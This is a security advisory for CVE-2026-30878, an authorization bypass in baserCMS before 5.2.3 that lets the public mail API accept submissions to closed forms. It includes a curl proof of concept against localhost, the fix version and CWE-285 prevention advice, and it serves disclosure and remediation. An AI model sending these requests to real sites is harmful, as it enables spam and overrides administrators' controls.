GHSA-8cr7-r8qw-gp3c CVE-2026-30878
baserCMS has Mail Form Acceptance Bypass via Public API
- Severity
- 5.3 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 33.89% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-285 Improper Authorization
- Fix
5.2.3- Upgrade baserproject/basercms to this version or later
Description
Summary
A public mail submission API allows unauthenticated users to submit mail form entries even when the corresponding form is not accepting submissions. This bypasses administrative controls intended to stop form intake and enables spam or abuse via the API.
Details
In baserCMS, mail form submissions through the front-end UI are guarded by acceptance checks implemented in MailFrontService::isAccepting(), which ensures that the mail form is currently accepting submissions (e.g. within its configured publish/acceptance window).
These checks are enforced in the UI flow handled by MailController::index() and MailController::confirm()
(e.g. plugins/bc-mail/src/Controller/MailController.php).
However, the public API endpoint:
plugins/bc-mail/src/Controller/Api/MailMessagesController.php::add()
does not invoke MailFrontService::isAccepting() and does not verify whether the mail form is currently accepting submissions. As a result, the API accepts submissions regardless of the form’s acceptance state.
The endpoint does not require authentication. A valid CSRF cookie and token pair is sufficient to create a mail message. This allows submissions even when administrators intentionally disable or close the mail form via the admin UI.
PoC
- In the admin UI, configure a mail form so that it is not accepting submissions (e.g. outside its acceptance period or explicitly closed).
- Obtain a CSRF cookie by accessing the site root:
curl -sS -D - -o - -c /tmp/basercms_cookies.txt 'http://localhost/'
- Extract the CSRF token from the
csrfTokencookie and submit a POST request to the public API endpoint:
curl -sS -D - -o - -X POST 'http://localhost/baser/api/bc-mail/mail_messages/add/1.json'
-H 'Content-Type: application/x-www-form-urlencoded'
-H 'Referer: http://localhost/'
-H 'X-CSRF-Token: <csrf-token-from-cookie>'
-b /tmp/basercms_cookies.txt
--data-urlencode 'name_1=Test'
--data-urlencode 'name_2=User'
--data-urlencode 'email_1=test@example.com'
--data-urlencode 'email_2=test@example.com'
--data-urlencode 'category[]=資料請求'
--data-urlencode 'root=検索エンジン'
--data-urlencode 'message=API bypass test'
- The server responds with
200 OKand creates a mail message, even though the form is configured to reject submissions.
Impact
This is an access control / business logic bypass vulnerability.
Administrators rely on the mail form acceptance settings to temporarily or permanently stop form intake (e.g. during maintenance, incidents, or spam attacks). This vulnerability allows attackers to bypass those controls via the public API, enabling unauthorized mail submissions, spam, and operational disruption.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| baserproject/basercms | < 5.2.3 |
5.2.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
baserproject/basercms Packagist → 5.2.3
- composer
composer require baserproject/basercms:^5.2.3
Severity breakdown
CVSS 3.1 5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Weakness
CWE-285: Improper Authorization
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-677c-xv24-crgx baserCMS is Vulnerable to Cross-site Scripting | Medium | Also affects baserproject/basercms |
| GHSA-c5c6-37vq-pjcq baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API | High | Also affects baserproject/basercms |
| GHSA-6hpg-8rx3-cwgv baserCMS has OS command injection vulnerability in installer | Critical | Also affects baserproject/basercms |
| GHSA-jmq3-x8q7-j9qm baserCMS has a cross-site scripting vulnerability in blog posts | Medium | Also affects baserproject/basercms |
| GHSA-m9g7-rgfc-jcm7 baserCMS Update Functionality Vulnerable to OS Command Injection | High | Also affects baserproject/basercms |
| GHSA-vh89-rjph-2g7p baserCMS has an SQL injection vulnerability in its blog post functionality | Critical | Also affects baserproject/basercms |
| GHSA-qxmc-6f24-g86g baserCMS has OS Command Injection Leading to Remote Code Execution (RCE) | High | Also affects baserproject/basercms |
| GHSA-hv78-cwp4-8r7r baserCMS has Unsafe File Upload Leading to Remote Code Execution (RCE) | High | Also affects baserproject/basercms |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor